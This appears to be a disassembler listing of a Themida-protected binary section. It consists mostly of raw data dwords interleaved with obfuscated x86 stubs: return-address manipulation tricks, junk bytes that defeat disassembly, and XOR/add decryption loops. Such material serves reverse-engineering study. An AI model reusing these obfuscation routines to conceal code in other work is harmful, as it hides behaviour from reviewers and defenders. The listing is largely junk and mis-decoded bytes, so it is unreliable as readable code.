		dd 0C3534300h, 0A0F35C0Ch, 60312BBDh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 80C35343h, 19118D29h, 8C66060Bh
		dd 0CE9D9h, 0DDC00000h,	0C513F8F7h, 0F24CB34Fh,	0E180D4F9h
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0F067E24h, 0C90AD8B7h, 10B840Fh,	6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 684D58C3h, 8BD88B31h, 0B317D85h, 0DFBF0F06h,	6ED8533h
		dd 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 11E8BDC3h, 9F000000h, 78A008D3h, 3F6C3AD0h
		dd 0B997D716h, 0BC5C72Eh, 8B5FDE8Ah, 0B2461BDh,	0BB665006h
		dd 4895101h, 0D171BB24h, 6A3CD5h, 0E8DABF0Fh, 4, 1F03FFh
		dd 0F989BF66h, 8BDF8B50h, 66042444h, 8BFA8Bh, 9800Fh, 820F0000h
		dd 3, 89FE8B66h, 51042444h, 6A585Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 97F6F4C3h
		dd 0C430D0CEh, 800FCE3Eh, 0Dh, 8E9h, 6D12AA00h,	0A46D0876h
		dd 0D195FF96h, 8B060B03h, 0B0E79BDh, 1D858906h,	0BF060EA8h
		dd 34F0A83Eh, 17559529h, 1BE9060Bh, 89000001h, 0B0399BDh
		dd 15858B06h, 8B060EA8h, 0B04EDBDh, 1800C706h, 66000000h
		dd 8BC0EABBh, 0EA819B5h, 0E1858B06h, 6A060B06h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0C77C352h, 7B6012EFh, 32E78135h, 8B089336h, 0B2435BDh
		dd 89068906h, 0B15B595h, 7D858B06h, 8B060B31h, 0B16BDBDh
		dd 4468906h, 50FE8B66h,	8B665250h, 66310FD8h, 585AFA8Bh
		dd 66243489h, 0FFD919BBh, 0EA815B5h, 919D0B06h,	68060B2Ah
		dd 8D090050h, 7E9h, 0A7B08700h,	633D792h, 0AF240481h, 6A731603h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 2FEFC355h, 5C1381E9h, 0BD89CDC8h,	60B2991h
		dd 190D8509h, 858D060Bh, 60EA81Dh, 66E78166h, 5250909Eh
		dd 310F5AB7h, 7E8h, 9B607200h, 0D812B786h, 5A5FF88Bh, 0F88B5058h
		dd 0C1BD8990h, 0FF060B26h, 0B03D195h, 0CE906h, 0C02D0000h
		dd 0AC1B0C63h, 0EEBFD691h, 6A61D0BBh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8909C351h
		dd 0B2131BDh, 985C706h,	3060B10h, 83000000h, 0EA81DBDh
		dd 840F0006h, 31h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 6FC35040h, 0A011B041h, 2AAD8589h, 21E9060Bh
		dd 8B000000h, 0B0D2DBDh, 0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 6D71D3BBh, 9BD8334h,	3060B10h
		dd 451850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BD0B4BC3h, 60B2011h, 68D0Fh, 85890000h
		dd 60B1B4Dh, 0A81DBD83h, 0F00060Eh, 41684h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 98D29BAh, 8B060B0Ch,	0B00E1BDh, 1DB5FF06h, 6A060EA8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0A6DCC350h, 0B589198Eh, 60B12E5h,	83D95FFh
		dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 68CADCC3h, 0FBCAB14h, 68Eh, 0D5BD8900h, 8B060B32h
		dd 0EA811B5h, 106C706h,	0B7000100h, 8CBF96F9h, 5023BC5Ch
		dd 6A96FB8Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 3C8EC350h, 94EB05E1h, 0B5FF131Eh
		dd 60EA81Dh, 13219589h,	95FF060Bh, 60B0641h, 0A811B58Bh
		dd 0EB81060Eh, 6E857A9h, 121D858Bh, 6A060Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 232B83C3h
		dd 0B0875BDh, 0C4868906h, 0F000000h, 958BFEBFh,	60B174Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 25C35747h
		dd 6A04C283h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0A5B6C350h, 152D9D29h,	0C781060Bh
		dd 12C26C0Ch, 6A205089h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0ED0CC352h,	0CE3219B1h
		dd 10E9h, 0A6418D00h, 410E5CD9h, 32DD5D21h, 433CD04Ah
		dd 8DD88B5Ch, 0EBAEE85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0A208756Bh, 0FB2211Ch
		dd 68Ah, 499D8B00h, 89060B18h, 0B886h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 4EC71121h, 7FBBDF51h, 6A302CA5h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 89BD899Dh
		dd 0FF060B0Bh, 0EA81DB5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 1A3D5389h
		dd 35A50503h, 66D98AB9h, 0B2EDCF81h, 0F1595FFh,	6A060Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 6EC510C3h, 98D91AF3h, 9D8D896Eh, 50060B05h, 7684BF66h
		dd 0F243489h, 0B5FFDBBFh, 60EA81Dh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 2BC35646h, 0BB66F2C8h, 95FF24F8h
		dd 60B00F5h, 2191BD83h,	0F00060Bh, 2384h, 0BA2CBF00h, 0E8507185h
		dd 8, 0F8D29130h, 89A73A4h, 6840Fh, 810F0000h, 0
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esp], esi
		push	dword ptr [ebp+60EA81Dh]
		push	0
		push	ebp
		call	sub_57FE71
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57FE71	proc near		; CODE XREF: Themida_:0057FE69p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_57FE71	endp

; ---------------------------------------------------------------------------
		stosd
		push	2
		mov	ah, 9Bh
		jmp	loc_57FE97
; ---------------------------------------------------------------------------
		db 3
		dd 2AB32DA0h, 0F322BE63h
; ---------------------------------------------------------------------------
		sbb	cs:[ecx], eax


loc_57FE97:				; CODE XREF: Themida_:0057FE86j
		call	sub_57FEA7
		cmpsd
		clc
		and	ebp, [edi+32h]
		mov	ah, 0CBh
		dec	eax
		retn
; ---------------------------------------------------------------------------
		db 0B9h, 82h

; =============== S U B	R O U T	I N E =======================================



sub_57FEA7	proc near		; CODE XREF: Themida_:loc_57FE97p
		pop	edi
		pusha
		jmp	loc_57FEBE
; ---------------------------------------------------------------------------
		dw 0F5Dh
		dd 325DF423h, 85D8EECAh, 3DF8319Dh
		db 61h,	0EAh
; ---------------------------------------------------------------------------


loc_57FEBE:				; CODE XREF: sub_57FEA7+2j
		jbe	loc_57FECA
		mov	edx, [ebp+60B2781h]


loc_57FECA:				; CODE XREF: sub_57FEA7:loc_57FEBEj
		popa
		call	dword ptr [ebp+60B1281h]
		push	0
		push	edi
		call	sub_57FEDC
		and	[edi-3Dh], bl
sub_57FEA7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57FEDC	proc near		; CODE XREF: sub_57FEA7+2Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_57FEDC	endp

; ---------------------------------------------------------------------------
		dd 8DCC32D7h, 2870Fh, 0DF8B0000h, 0A81DB5FFh, 6A060Eh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 89802DC3h, 0B0BC995h, 0D7816606h, 95FFB6EBh,	60B0B8Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 35C35545h
		dd 0D0E78166h, 0F7F38174h, 830A36D8h, 0B17F1BDh, 840F0206h
		dd 21h,	133CF781h, 858B2238h, 60B2EC5h,	68B0Fh,	95890000h
		dd 60B1639h, 8B0000C6h,	0B0DA1BDh, 0B985C706h, 60B06h
		dd 66000000h, 0E9C161BFh, 0FFFFF465h, 8B7FD380h, 53006AC1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 382E90FDh, 69BF66C7h, 0EF816661h, 858DEC0Bh,	60B28A9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 49C35747h
		dd 0BF0F0324h, 499D8BDBh, 50060B2Fh, 489F88Ah, 8E924h
		dd 0E98D0000h, 0F4352E37h, 6A60DFh, 0E5DE8060h,	19E18589h
		dd 6661060Bh, 6A4129BBh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 70F26DD6h, 0BD8C3BD1h
		dd 870F27FFh, 4, 2B9FBB66h, 6F79ADBBh, 0F5858D63h, 6A060F40h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 79DAC351h, 427D973h, 858973C2h, 60B0705h
		dd 6A05C083h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 5CCEC355h, 0BD8B24F5h,	60B1019h
		dd 4A9EBF66h, 6E890h, 41730000h, 6C5384Ch, 10B3505Fh, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0D7812EA4h, 114C7480h, 6A006AF5h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8957C351h
		dd 0B2021B5h, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 603C352h, 0F0693E39h
		dd 0E9969B90h, 2F2195FFh, 8D8D060Bh, 60EA7B0h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C6C35343h, 8AF0A31Dh
		dd 50CCAA8Dh, 12A58509h, 0FF5B060Bh, 0DABF0FD1h, 0B19BD83h
		dd 0F01060Bh, 2C85h, 8B026A00h,	0B1335BDh, 0BE89006h, 72000000h
		dd 365B376Ch, 0A7153756h, 0D98A4B21h, 0DA8B505Bh, 1595FF90h
		dd 29060B0Fh, 0B18D98Dh, 0EB7E906h, 0E80000h, 5D000000h
		dd 40FFED81h, 0EB81060Fh, 42335013h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0A5C35040h,	0F4C559Bh, 0B8Fh
		dd 8B666000h, 0E59589F3h, 61060B29h, 9293858Dh,	0E990060Eh
		dd 0Fh,	0C05B5961h, 3497ACC1h, 4661C18Fh, 50AD4606h, 8E9h
		dd 0AC48AE00h, 51DA354Ch, 0BD039033h, 60B0961h,	35FF64h
		dd 0F000000h, 68Eh, 0E19D3300h,	64060B1Fh, 2589h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0B92D3C3h, 532CB680h, 661FE676h, 85FFDA8Bh, 60B066Dh
		dd 0CFBBBF66h, 6AFF6Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0CB67D7C3h, 37B2C23Dh, 9D8BD0D1h
		dd 60B26D5h, 1A49B5FFh,	6A060Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0B5897CC3h, 60B13A9h
		dd 3399D8Bh, 95FF060Bh,	60B2411h, 188E9h, 0C830F00h, 0F000000h
		dd 686h, 0F98D0900h, 0B0060B22h, 8810F00h, 0F000000h, 28Dh
		dd 0F5F5100h, 180h, 70E6F500h, 15D98509h, 0BD8B060Bh, 60B2491h
		dd 0F96071E4h, 212D9523h, 3C61060Bh, 3E830F61h,	1000001h
		dd 0B28A59Dh, 0C8B60F06h, 0D9D8D89h, 6BA060Bh, 8B000000h
		dd 0B98529C1h, 89060B2Ah, 0B028DB5h, 4E8C106h, 66D98B66h
		dd 0BD8BE2F7h, 60B19EDh, 8BFCC82Bh, 0FD18BD8h, 0C82h, 6840F00h
		dd 29000000h, 0B28FD8Dh, 2E906h, 5B530000h, 41D858Bh, 9D09060Bh
		dd 60B00D5h, 8907C083h,	0B132185h, 0C08306h, 46F68160h
		dd 61083313h, 830FD03Bh, 46h, 0FE8h, 8DC89C00h,	0FDE634F0h
		dd 6C48EE7Ah, 0E298AD65h, 14E960h, 0E77D0000h, 63F8677Eh
		dd 1179A884h, 144BCF4Fh, 0C89863ECh, 5F6189B9h,	90E9h
		dd 0BE9F800h, 5C000000h, 9939BBDDh, 3B06E5E4h, 8D8B0A5Bh
		dd 60B2421h, 12E9h, 569D8800h, 0D66171CCh, 66C13A4Fh, 0FDBF7BF2h
		dd 83786099h, 840F01E1h, 59h, 13E9h, 9030BC00h,	56D8895Bh
		dd 0F9F5891h, 313D4855h, 72202418h, 2421A583h, 0E8FE060Bh
		dd 13h,	7C09C9E2h, 454A89ADh, 62CDB2Eh,	0CB444D5Ch, 331B7A38h
		dd 0B0DC9BDh, 95895F06h, 60B041Dh, 0FDA8B66h, 78Ch, 81665100h
		dd 5FAA06DFh, 0E9h, 0BEB58D00h,	6A060EC6h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 492AC355h
		dd 0B589B0F0h, 60B1825h, 8A0F006Ah, 1, 0DD95FFFCh, 31060B32h
		dd 0B01B98Dh, 0DF1B906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 751472C3h, 0A4BFFEFBh
		dd 83479BC2h, 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0C9C66DC3h, 20D09E75h, 6AFCA06Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 2BD4C352h, 8D5EA12Eh, 8960C036h, 0B0689B5h
		dd 2800F06h, 8B000000h,	0C02B61DAh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0BBC35040h,	319D8BC9h, 2B060B10h
		dd 0E58589D2h, 0AD060B14h, 0E8D1C233h, 0E983D003h, 80F47504h
		dd 6A50DFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 11E982C3h, 0DB000000h, 1673609Ah,	7B14B8E3h
		dd 0EC9DEE09h, 6CB6C03Ah, 11E9h, 0E3A1ED00h, 0F3C2842Dh
		dd 4027654Eh, 916C14CBh, 880D0116h, 0F000000h, 684h, 99D8900h
		dd 8B060B00h, 0B174D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8D8B2823h, 60B0119h, 0AF98D89h
		dd 8B50060Bh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DCC35141h
		dd 0CAF6717Bh, 5FF88B53h, 4F69BF66h, 29BDBD83h,	0F00060Bh
		dd 2584h, 159D2300h, 0B8060B14h, 0
; ---------------------------------------------------------------------------
		add	[ebp+60B14D5h],	edi
		lea	ecx, [ebp+60B4DD7h]
		mov	ebx, [ebp+60B2179h]
		jmp	ecx
; ---------------------------------------------------------------------------
		or	edi, 464C20D3h
		cmp	dword ptr [ebp+60B1009h], 0
		jz	loc_580AF9
		push	0
		push	esi
		call	sub_580656
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580656	proc near		; CODE XREF: Themida_:0058064Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_580656	endp

; ---------------------------------------------------------------------------
		dw 0B6C1h
		dd 9E78073h, 1009BD83h,	0F01060Bh, 49B84h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 9FB8E4F6h, 6621D381h, 0BD8B096Eh, 60B1259h, 1009BD83h
		dd 0F03060Bh, 42D86h, 619D8B00h, 60060B11h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0BEC35141h, 6AD98C66h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 1E65C350h, 14E9h,	53856E00h, 51A10BF9h, 0EE2B14E8h
		dd 6530176Fh, 2DD69FE9h, 80F88A19h, 6A04E1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 518F44C3h
		dd 6CC51EAEh, 0E59D8B30h, 57060B12h, 5BEDBF66h,	0FC90A5Bh
		dd 12284h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0B598A60Eh, 317D858Bh, 860F060Bh
		dd 3, 33D8B70Fh, 0B06ED85h, 599D3306h, 89060B02h, 0B0F49B5h
		dd 4895006h, 6ADB8024h,	6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 8720FFC3h, 62AEBF66h
		dd 37D3C468h, 5860F61h,	0BF000000h, 6BF0AF99h, 3B243481h
		dd 0F6128D0h, 148Bh, 8E800h, 0B7E40000h, 0C7C93890h, 840F50F6h
		dd 0
; ---------------------------------------------------------------------------
		pop	edi
		call	dword ptr [ebp+60B03D1h]
		push	0
		push	edi
		call	sub_5807F6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5807F6	proc near		; CODE XREF: Themida_:005807EEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5807F6	endp

; ---------------------------------------------------------------------------
		pop	ds
		push	ecx
		pop	esi
		mov	ebp, 85893A89h
		add	eax, 23060B0Ch
		popf
		stc
		pop	ss
		or	eax, [esi]
		mov	[ebp+60EA81Dh],	eax
		push	0
		push	edi
		call	sub_580829
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580829	proc near		; CODE XREF: Themida_:00580821p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_580829	endp

; ---------------------------------------------------------------------------
		db 0CDh, 0E6h, 24h
; ---------------------------------------------------------------------------
		adc	es:[esi+44h], cl
		xchg	eax, edx
		lea	cx, [ecx+0B16BD95h]
		push	es
		jmp	loc_580A78
; ---------------------------------------------------------------------------
		dw 11E8h
		dd 0BF000000h, 55D39A04h, 0F3F16C74h, 0A59A0E27h, 7D94A094h
		dd 32F58589h, 8B5B060Bh, 0EA81585h, 14E806h, 1A2C0000h
		dd 9750D47Ch, 0F0EB4178h, 4C36522h, 0A6C17A5Eh,	13E86259h
		dd 4B000000h, 0CC5743E5h, 32B8A180h, 914A1D17h,	0A9DA9DE4h
		dd 0AE8222Dh, 94000000h, 860D9980h, 0C8B1BAC1h,	5B5F5B88h
		dd 1800C7h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 170424h, 53430000h, 629E37C3h, 19B58B3Ah, 6A060EA8h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0B866C357h, 359D8B57h, 5B060B13h,	6E1858Bh
		dd 8B66060Bh, 6A0689D9h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 5AA7C350h, 7D858BFCh
		dd 9060B31h, 0B2E91BDh,	5830F06h, 66000000h, 0BF2AE781h
		dd 6A044689h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 743FC352h, 0E97C490Eh,	13h, 50218AACh
		dd 0D2F9981Ah, 0B79314D0h, 1715A7F9h, 5066F5D6h, 0D5AD75BBh
		dd 24348946h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Bh,	13C35545h, 0C56A6452h, 0F964A70h, 8D89DBB7h, 60B27C5h
		dd 0A815B5FFh, 8501060Eh, 60B21DDh, 31577B68h, 81D88B91h
		dd 0AC842404h, 6A6EEDh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 15D5E3C3h, 0C57E557Dh, 1D858D0Ch
		dd 6A060EA8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 33C4C355h, 9589675Dh, 60B0669h
		dd 247D8D09h, 6650060Bh, 89C1A3BFh, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C0368DC3h
		dd 0FFDE8B66h, 0B03D195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0B590EA08h
		dd 95896208h, 60B063Dh
; ---------------------------------------------------------------------------


loc_580A78:				; CODE XREF: Themida_:00580849j
		popa
		mov	edi, [ebp+60B32F1h]
		mov	bx, 5238h
		mov	dword ptr [ebp+60B1009h], 3
		mov	[ebp+60B00C9h],	edx
		cmp	dword ptr [ebp+60EA81Dh], 0
		jz	loc_580ADE
		jmp	loc_580AB3
; ---------------------------------------------------------------------------
		inc	ebp
		cmp	edx, eax
		xchg	edi, [esi]
		das
		push	cs
		adc	cl, [ecx]
		pop	ss
		pop	edx
		or	al, 0C0h
		dec	eax


loc_580AB3:				; CODE XREF: Themida_:00580AA0j
		jmp	loc_580AF9
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_580AC3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580AC3	proc near		; CODE XREF: Themida_:00580ABBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_580AC3	endp

; ---------------------------------------------------------------------------
		push	ebx
		mov	ds:29883645h, al
		popf
		sub	[ebx], ebx
		or	eax, [esi]


loc_580ADE:				; CODE XREF: Themida_:00580A9Aj
					; Themida_:00580AF5j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_580ADE
		jmp	short loc_580B2F
; ---------------------------------------------------------------------------


loc_580AF9:				; CODE XREF: Themida_:00580645j
					; Themida_:loc_580AB3j	...
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_580AF9
		jmp	short loc_580B2F
; ---------------------------------------------------------------------------


loc_580B14:				; CODE XREF: Themida_:00580B2Bj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_580B14
		jmp	short $+2


loc_580B2F:				; CODE XREF: Themida_:00580AF7j
					; Themida_:00580B12j
		mov	eax, eax
		movsx	ebx, ax
		mov	ebx, [ebp+60B1991h]
		push	0
		push	edi
		call	sub_580B45
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580B45	proc near		; CODE XREF: Themida_:00580B3Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_580B45	endp

; ---------------------------------------------------------------------------
		db 0D2h, 0B2h, 27h
		dd 93AD6ED7h, 0FDBD897Eh, 83060B0Ah, 0B1009BDh,	850F0306h
		dd 49Eh, 75BCEB81h, 0BD8318DEh,	60EA81Dh, 8B840F00h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 435EC351h, 0C0D77906h, 0CBD9D29h,	0B5FF060Bh
		dd 60EA81Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	95C35343h, 373F5363h, 83D95FFh,	9D8B060Bh, 60B1AC5h
		dd 2B61B589h, 0B58B060Bh, 60EA811h, 0FE9h, 1A983500h, 9A5FECD0h
		dd 84BB3DCh, 24AFDDA8h,	14E59D8Bh, 6C7060Bh, 10001h, 0A6399DBFh
		dd 5060964Dh, 9E852h, 9A210000h, 3F16970Eh, 5A748110h
		dd 6E8310Fh, 28000000h,	0BF2D6DAh, 585A5F20h, 56535061h
		dd 5F5BDE8Bh, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 55F710E5h, 0C6234100h, 1DB5FF97h
		dd 0F060EA8h, 689h, 0B1B58900h,	0FF060B07h, 0B064195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0B5A850FFh, 8BE8D690h, 0B0509BDh, 7E806h
		dd 54000000h, 0E112D6BAh, 59BD8983h, 5F060B13h,	0A811B58Bh
		dd 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 3153DDC3h, 9D8BC856h, 60B0E9Dh, 19059589h
		dd 858B060Bh, 60B121Dh,	29DD9589h, 8689060Bh, 0C4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 98C35545h, 0E5BA9D04h
		dd 0D0E8FD9Ch, 6860F0Ah, 89000000h, 0B0B318Dh, 4D958B06h
		dd 31060B17h, 0B04B595h, 4C28306h, 68F0Fh, 8D0F0000h, 0
; ---------------------------------------------------------------------------
		mov	di, 4E48h
		mov	[eax+20h], edx
		push	0
		push	ebp
		call	sub_580D52
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580D52	proc near		; CODE XREF: Themida_:00580D4Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_580D52	endp

; ---------------------------------------------------------------------------
		pop	ecx
		or	[ebp+0EBAEE85h], ecx
		push	es
		push	0
		push	eax
		call	sub_580D75
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580D75	proc near		; CODE XREF: Themida_:00580D6Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_580D75	endp

; ---------------------------------------------------------------------------
		aas
		add	[edi-76h], edi
		adc	cl, ds:0B7547B11h
		mov	bx, 7C5Eh
		mov	[esi+0B8h], eax
		push	0
		push	ecx
		call	sub_580DA4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580DA4	proc near		; CODE XREF: Themida_:00580D9Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_580DA4	endp

; ---------------------------------------------------------------------------
		xchg	eax, edi
		cdq
		mov	ebx, [ebp+60B08B1h]
		push	0
		push	0
		push	ebp
		call	sub_580DC9
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580DC9	proc near		; CODE XREF: Themida_:00580DC1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_580DC9	endp

; ---------------------------------------------------------------------------
		db 77h,	48h, 0CFh
		dd 3F0CA72Ah, 10E82A76h, 44000000h, 0AA37B579h,	0CD73ADCEh
		dd 5297592h, 8A9C0363h,	0B5FF5BDDh, 60EA81Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6BC35545h, 0D9B70FC8h
		dd 0F1595FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 44A6EC3h, 8D01CBC7h, 60B3355h, 0EE950h
		dd 9C040000h, 8EBD55D2h, 0F08318A6h, 0EED8B1AAh, 6A243489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 8C1AC351h, 0B5FFF8D2h, 60EA81Dh, 0B70FF88Bh
